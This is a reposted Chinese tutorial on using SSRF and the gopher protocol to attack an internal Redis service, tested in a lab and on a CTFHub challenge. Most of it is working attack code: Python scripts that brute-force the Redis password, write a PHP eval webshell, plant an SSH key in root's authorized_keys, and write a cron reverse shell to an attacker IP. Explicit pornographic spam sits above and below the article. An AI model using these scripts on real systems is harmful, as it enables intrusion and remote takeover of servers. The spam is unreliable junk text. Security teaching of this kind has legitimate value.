国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

如何利用SSRF攻擊內網(wǎng)Redis服務(wù)

發(fā)布時(shí)間:2021-08-23 15:12 來(lái)源:億速云 閱讀:0 作者:chen 欄目: 網(wǎng)絡(luò )安全

本篇內容主要講解“如何利用SSRF攻擊內網(wǎng)服務(wù)”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強。下面就讓小編來(lái)帶大家學(xué)習“如何利用SSRF攻擊內網(wǎng)Redis服務(wù)”吧!

0x01 Redis數據

REmote DIctionary Server(Redis) 是一個(gè)由Salvatore Sanfilippo寫(xiě)的key-value存儲系統。Redis是一個(gè)開(kāi)源的使用ANSI C語(yǔ)言編寫(xiě)、遵守BSD協(xié)議、支持網(wǎng)絡(luò )、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語(yǔ)言的API。它通常被稱(chēng)為數據結構,因為值(value)可以是 字符串(String), 哈希(Hash), 列表(list), (sets) 和(sorted sets)等類(lèi)型。

簡(jiǎn)單來(lái)說(shuō)Redis就是一個(gè)以Key-Value形式存儲數據的數據庫。

Redis數據庫默認端口:6379

0x02 安裝Redis數據庫

系統版本:Ubuntu 20.04.1 LTS

安裝Redis:
apt-getinstall redis-server

修改Redis配置文件(設置密碼,監聽(tīng)ip等):
vim /etc/redis/redis.conf
配置監聽(tīng)ip:
bind 127.0.0.1 ::1#只監聽(tīng)本地端口,如果需要遠程登錄可以在后面加上本機的ip,同時(shí)遠程登錄也可能造成未授權訪(fǎng)問(wèn)。
配置默認密碼:
#requirepass foobared#默認無(wú)密碼,要設置密碼可以將前面的#刪除,然后將foobared改為要設置的密碼。

啟動(dòng)Redis:
/bin/redis-server /etc/redis/redis.conf
或者
service redis-server start#這種方法啟動(dòng)可能會(huì )造成Redis在web目錄、計劃任務(wù)目錄、.ssh目錄等其他一些目錄沒(méi)有寫(xiě)入的權限,就算是root身份啟動(dòng),文件夾777權限也不行(就很迷)。如果遇到Redis在執行save時(shí)報錯,就還是試試root身份第一種方法啟動(dòng)吧。

0x03 RESP協(xié)議

參考這篇文章:https://www.cnblogs.com/linuxsec/articles/11221756.html

Redis 服務(wù)器與客戶(hù)端通過(guò) RESP(REdis Serialization Protocol)協(xié)議通信。

RESP實(shí)際上是一個(gè)支持以下數據類(lèi)型的序列化協(xié)議:Simple Strings(簡(jiǎn)單字符串),error(錯誤),Integer(整數),Bulk Strings(多行字符串)和 array(數組)。

客戶(hù)端將命令作為 Bulk Strings 的RESP數組發(fā)送到Redis服務(wù)器。

服務(wù)器根據命令實(shí)現回復一種RESP類(lèi)型。

在RESP中,某些數據的類(lèi)型取決于第一個(gè)字節:
對于Simple Strings,回復的第一個(gè)字節是 +
對于error,回復的第一個(gè)字節是 -
對于Integer,回復的第一個(gè)字節是 :
對于Bulk Strings,回復的第一個(gè)字節是 $
對于array,回復的第一個(gè)字節是 *
此外,RESP能夠使用稍后指定的Bulk Strings或Array的特殊變體來(lái)表示Null值。
在RESP中,協(xié)議的不同部分始終以"\r\n"(CRLF)結束。

我們來(lái)抓取一段客戶(hù)端與Redis服務(wù)器的通信數據包來(lái)具體分析一下。

在linux中可以使用tcpdump來(lái)捕獲數據包:

命令:tcpdump -i lo -s 0 port 6379 -w redis.pcap
參數說(shuō)明:
-i指定網(wǎng)卡(一般指定eth0,這里抓取本地接口的流量需要指定為lo)
-s抓取數據包時(shí)默認抓取長(cháng)度為68字節。加上-s 0 后可以抓到完整的數據包
port指定抓取的端口
-w保存到文件,后接保存的路徑與文件名

然后我們登錄客戶(hù)端,這里我設置了密碼,所以先認證,然后再進(jìn)行set key的操作。

# redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> auth 123456
OK
127.0.0.1:6379> set ATL Ocean
OK
127.0.0.1:6379> quit

之后我們將抓到的數據包導出,用wireshark打開(kāi),然后追蹤TCP流

結合我們上面對RESP協(xié)議的解釋?zhuān)覀儊?lái)逐行分析:

最上面4行是客戶(hù)端自動(dòng)請求服務(wù)器信息,服務(wù)器提示我們需要認證,我們就從我們自己發(fā)送的認證信息開(kāi)始分析。
*2      #數組 長(cháng)度為2
$4      #多行字符串 長(cháng)度為4
auth    #認證
$6      #多行字符串 長(cháng)度為6
123456  #密碼123456
+OK #服務(wù)器返回 普通字符串 OK,表示成功
*3  #數組 長(cháng)度為3
$3      #多行字符串 長(cháng)度為3
set #設置key
$3  #多行字符串 長(cháng)度為3
ATL #key為ATL
$5  #多行字符串 長(cháng)度為5
Ocean   #velue為Ocean
+OK #服務(wù)器返回 普通字符串 OK,表示成功

那么我們設想一下如果我們直接發(fā)送這樣格式的數據包能否直接對Redis進(jìn)行操作呢,我們來(lái)嘗試一下。我們將客戶(hù)端發(fā)送的數據包進(jìn)行一次url編碼。

*2
$4
auth
$6
123456
*3
$3
set
$4
ATL2
$6
Ocean2

Url編碼后:
*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A
(注意將%0A替換為%0D%0A)

然后在本機利用 curl 和 gopher 協(xié)議發(fā)送給 Redis 服務(wù)器。

命令:
curl gopher://127.0.0.1:6379/_*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A

我么可以看到,服務(wù)器給我們返回了兩個(gè)+OK說(shuō)明我們的命令執行成功了,我我們再直接看一下我們設置key 的值,再次驗證一下。

可以看到確實(shí)是我們剛剛設置的值,再次證明了這樣的方法是行的通的。那么我們不按照RESP協(xié)議的格式發(fā)送,如果直接發(fā)送命令是否可以呢,我們再試試:

這次我們就不設置key值了,我們直接獲取key的值:

命令:
auth 123456
get ATL2

URL編碼后:
auth%20123456%0D%0Aget%20ATL2%0D%0A

發(fā)送請求:
curl gopher://127.0.0.1:6379/_auth%20123456%0D%0Aget%20ATL2%0D%0A

我們可以看到成功返回了我們剛剛設置的key的值,說(shuō)明直接發(fā)送命令的方法也是可行的。

知道了如何讓Redis服務(wù)器執行我們的命令,那么接下來(lái)我們就來(lái)看如何攻擊來(lái)達到 getshell 的目的。

0x04 攻擊Redis

攻擊Redis一般有3種思路:在web目錄寫(xiě)webshell、在.ssh目錄寫(xiě)公鑰,我們利用私鑰登錄ssh、利用定時(shí)任務(wù)反彈shell。這三種方法都是利用Redis的備份功能實(shí)現的。

在攻擊Redis時(shí)如果配置中設置了監聽(tīng)本機ip,比如192.168.x.x,或公網(wǎng)ip那么我們就可以直接遠程訪(fǎng)問(wèn)6379端口與Redis通信了,但一般都只會(huì )監聽(tīng)本地端口,這時(shí)候我們就要利用到SSRF了。方法同樣也很簡(jiǎn)單,只需要在有SSRF漏洞的頁(yè)面將數據進(jìn)行兩次URL編碼發(fā)送就可以了,具體方法可以看我之前的文章,這里就不多介紹了。

Redis認證攻擊:

默認Redis是沒(méi)有設置密碼的,這時(shí)候我們可以直接訪(fǎng)問(wèn),但是如果設置了密碼,我們就要先對密碼進(jìn)行暴破,得到了正確的密碼才能夠進(jìn)行進(jìn)一步的攻擊。

我們使用下面這個(gè)python腳本進(jìn)行密碼暴破,在腳本同目錄下放一個(gè)文件名為password.txt的字典然后進(jìn)暴破就可以了。

# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://192.168.48.133/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"


def get_password():
    f = open("password.txt", "r")
    return f.readlines()


def encoder_url(cmd):
    urlencoder = quote(cmd).replace("%0A", "%0D%0A")
    return urlencoder


for password in get_password():
    # 攻擊腳本
    cmd = """
    auth %s
    quit
    """ % password
    # 二次編碼
    encoder = encoder_url(encoder_url(cmd))
    # 生成payload
    payload = url + gopher + encoder
    print(payload)
    # 發(fā)起請求
    request = Request(payload)
    response = urlopen(request).read().decode()
    print("This time password is:" + password)
    print("Get response is:")
    print(response)
    if response.count("+OK") > 1:
        print("find password : " + password)
        exit()
print("Password not found!")
print("Please change the dictionary,and try again.")

這里我們隨便寫(xiě)幾個(gè)密碼來(lái)示范。

可以看到,成功找到了密碼。

web目錄寫(xiě)webshell:

首先我們要知道Redis如何寫(xiě)入文件:

Redis 中可以導出當前數據庫中的 key 和 value

并且可以通過(guò)命令配置導出路徑和文件名:

config set dir /var/www/html//設置導出路徑
config set dbfilename shell.php//設置導出文件名
save //執行導出操作

于是我們將隨便一個(gè)key的值設為一句話(huà)木馬,然后配置導出路徑為web目錄,導出文件名為php文件,這樣執行導出命令就可以在web目錄下寫(xiě)入webshell了。

我們將上一個(gè)腳本中獲取到密碼后在加上一段寫(xiě)入shell的腳本:

# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://192.168.48.133/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"

def get_password():                 
    f = open("password.txt", "r")   
    return f.readlines()            

def encoder_url(cmd):
    urlencoder = quote(cmd).replace("%0A", "%0D%0A")
    return urlencoder

###------暴破密碼,無(wú)密碼可刪除-------###
for password in get_password():
    # 攻擊腳本
    path = "/var/www/html/test"
    shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n"
    filename = "shell.php"

    cmd = """
    auth %s
    quit
    """ % password
    # 二次編碼
    encoder = encoder_url(encoder_url(cmd))
    # 生成payload
    payload = url + gopher + encoder
    # 發(fā)起請求
    print(payload)
    request = Request(payload)
    response = urlopen(request).read().decode()
    print("This time password is:" + password)
    print("Get response is:")
    print(response)
    if response.count("+OK") > 1:
        print("find password : " + password)
        #####---------------如無(wú)密碼,直接從此開(kāi)始執行---------------#####
        cmd = """
        auth %s
        config set dir %s
        config set dbfilename %s
        set test1 "%s"
        save
        quit
        """ % (password, path, filename, shell)
        # 二次編碼
        encoder = encoder_url(encoder_url(cmd))
        # 生成payload
        payload = url + gopher + encoder
        # 發(fā)起請求
        request = Request(payload)
        print(payload)
        response = urlopen(request).read().decode()
        print("response is:" + response)
        if response.count("+OK") > 5:
            print("Write success!")
            exit()
        else:
            print("Write failed. Please check and try again")
            exit()
        #####---------------如無(wú)密碼,到此處結束------------------#####
print("Password not found!")
print("Please change the dictionary,and try again.")

執行后成功寫(xiě)入,我們到web目錄下看看我們寫(xiě)入的文件。

可以看到格式比較亂,不過(guò)由于我們在與句話(huà)木馬前加了幾個(gè)換行符還是能夠清晰的看到我們的一句話(huà)木馬。那么我們直接用蟻劍或是菜刀連接看看。

可以看到成功連接到我們的webshell。

寫(xiě)入公鑰,利用私鑰登錄SSH:

寫(xiě)入公鑰與寫(xiě)webshell的思路是一樣的,只是改一下寫(xiě)入的路徑、文件名以及寫(xiě)入的內容。

不過(guò)需要注意,這種方法需要確保靶機允許使用密鑰登錄。

開(kāi)啟方法:

需要修改 ssh 配置文件 /etc/ssh/sshd_config

#StrictModes yes
改為
StrictModes no
然后重啟sshd即可
/bin/systemctl restart  sshd.service

我們先直接嘗試ssh登錄靶機試試:

可以看到直接登錄是需要輸入密碼的。那么我們開(kāi)始攻擊。

我們先在攻擊機上生成一對公鑰和私鑰。

命令:ssh-keygen -t rsa

一路回車(chē)就可以了,然后我們進(jìn)入家目錄的 /.ssh 目錄下,就可以看到我們生成的公鑰和私鑰了。

公鑰內容:

sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali

然后我們將上面的腳本進(jìn)行略微的改動(dòng),將寫(xiě)入路徑設為:/root/.ssh ,寫(xiě)入文件名設為:authorized_keys,寫(xiě)入的內容就是我們生成的公鑰。

path= "/root/.ssh"       #路徑
shell= "\\n\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali\\n\\n\\n"
filename= "authorized_keys"  #文件名

只修改以上三行就可以了。然后我們運行腳本

寫(xiě)入成功,這時(shí)候我們再?lài)L試登錄看看。

可以看到我們成功免密登錄了靶機。

利用定時(shí)任務(wù)反彈shell:

關(guān)于定時(shí)任務(wù)反彈shell需要注意:

只能Centos上使用,Ubuntu上行不通,原因如下:因為默認redis寫(xiě)文件后是644的權限,但ubuntu要求執行定時(shí)任務(wù)文件/var/spool/cron/crontabs/<username>權限必須是600也就是-rw-------才會(huì )執行,否則會(huì )報錯(root) INSECURE MODE (mode 0600 expected),而Centos的定時(shí)任務(wù)文件/var/spool/cron/<username>權限644也能執行因為redis保存RDB會(huì )存在亂碼,在Ubuntu上會(huì )報錯,而在Centos上不會(huì )報錯由于系統的不同,crontrab定時(shí)文件位置也會(huì )不同Centos的定時(shí)任務(wù)文件在/var/spool/cron/<username>Ubuntu定時(shí)任務(wù)文件在/var/spool/cron/crontabs/<username>Centos和Ubuntu均存在的(需要root權限)/etc/crontab PS:高版本的redis默認啟動(dòng)是redis權限,故寫(xiě)這個(gè)文件是行不通的

由于我的靶機是Ubuntu系統,經(jīng)過(guò)測試確實(shí)不能反彈shell,所以這里就演示到寫(xiě)入定時(shí)任務(wù),反彈shell就無(wú)法演示了。

這里我們先了解一下linux下通過(guò)輸入輸出流來(lái)反彈shell:

命令:
/bin/bash -i >& /dev/tcp/[ip]/[端口] 0>&1

/bin/bash -i 表示的是調用bash命令的交互模式,并將交互模式重定向到 /dev/tcp/[ip]/[端口] 中。這里我們將ip和端口改為我們攻擊機的地址和監聽(tīng)端口。

重定向時(shí)加入一個(gè)描述符 &,表示直接作為數據流輸入。不加 & 時(shí),重定向默認是輸出到文件里的。

/dev/tcp/ip地址/端口號 是linux下的特殊文件,表示對這個(gè)地址端口進(jìn)行tcp連接

這里我們設置成攻擊機監聽(tīng)的地址

最后面的 0>&1 。此時(shí)攻擊機和靶機已經(jīng)建立好了連接,當攻擊機進(jìn)行輸入時(shí),就是這里的 0(標準輸入)

通過(guò)重定向符,重定向到 1(標準輸出)中,由于是作為 /bin/bash 的標準輸入,所以就執行了系統命令了。

我們來(lái)執行一下試試:

我們先在攻擊機上監聽(tīng)1234端口:

然后在靶機上執行 /bin/bash -i >& /dev/tcp/192.168.48.129/1234 0>&1

這時(shí)候再看我們的攻擊機:

可以看到成功反彈到了shell,并且可以正常執行命令。

接下來(lái)我們嘗試寫(xiě)入定時(shí)任務(wù)。

path = "/var/spool/cron/crontabs"         #路徑
shell = "\\n\\n\\n* * * * * bash -i >& /dev/tcp/192.168.48.129/1234 0>&1\\n\\n\\n"
filename = "root"   #文件名

同樣修改以上三行,然后執行。

可以看到提示我們寫(xiě)入成功,我們再到靶機目錄下確認一下。

可以看到確實(shí)寫(xiě)入成功了,使用crontable命令查看root用戶(hù)的定時(shí)任務(wù)也可以看到我們寫(xiě)入的內容。

但是由于系統以及權限的原因沒(méi)辦法執行定時(shí)任務(wù),有興趣的朋友可以嘗試在CentOS中嘗試一下。我這邊環(huán)境配置到頭禿就不再試了。

0x05 CTFHub-SSRF-Redis協(xié)議

本地環(huán)境都已經(jīng)嘗試過(guò)了我們就在嘗試一下在線(xiàn)的環(huán)境,還是使用CTFHub中技能樹(shù)的環(huán)境。

打開(kāi)環(huán)境后頁(yè)面空白,但是在URL中看到了 ?url= 按照之前做題的情況來(lái)看一看就存在SSRF,那么我們就直接用我們之前的腳本來(lái)打。

利用我們之前寫(xiě)webshell的腳本,只需要修改第五行的url就好。

運行后發(fā)現,服務(wù)器告訴我們沒(méi)有設置密碼,那就更簡(jiǎn)單了,修改一下腳本:

# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://challenge-b15f0eaddbb74bdf.sandbox.ctfhub.com:10080/?url="
gopher = "gopher://127.0.0.1:6379/_"


def encoder_url(cmd):
    urlencoder = quote(cmd).replace("%0A", "%0D%0A")
    return urlencoder


path = "/var/www/html"
shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n"
filename = "shell.php"
cmd = """
config set dir %s
config set dbfilename %s
set test1 "%s"
save
quit
""" % (path, filename, shell)
# 二次編碼
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 發(fā)起請求
request = Request(payload)
print(payload)
response = urlopen(request).read().decode()
print("response is:" + response)
if response.count("+OK") > 4:
    print("Write success!")
    exit()
else:
    print("Write failed. Please check and try again")
    exit()

再次運行

成功寫(xiě)入,然后我們就直接用蟻劍連接一下。

成功拿到flag。

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

特大巨黑吊XXXX高潮| 欧洲国产伦久久久久久久| 亚洲精品无码不卡在线播放HE| 1000部啪啪未满十八勿入不卡| 国产特级毛片AAAAAA| 人妻 色综合网站|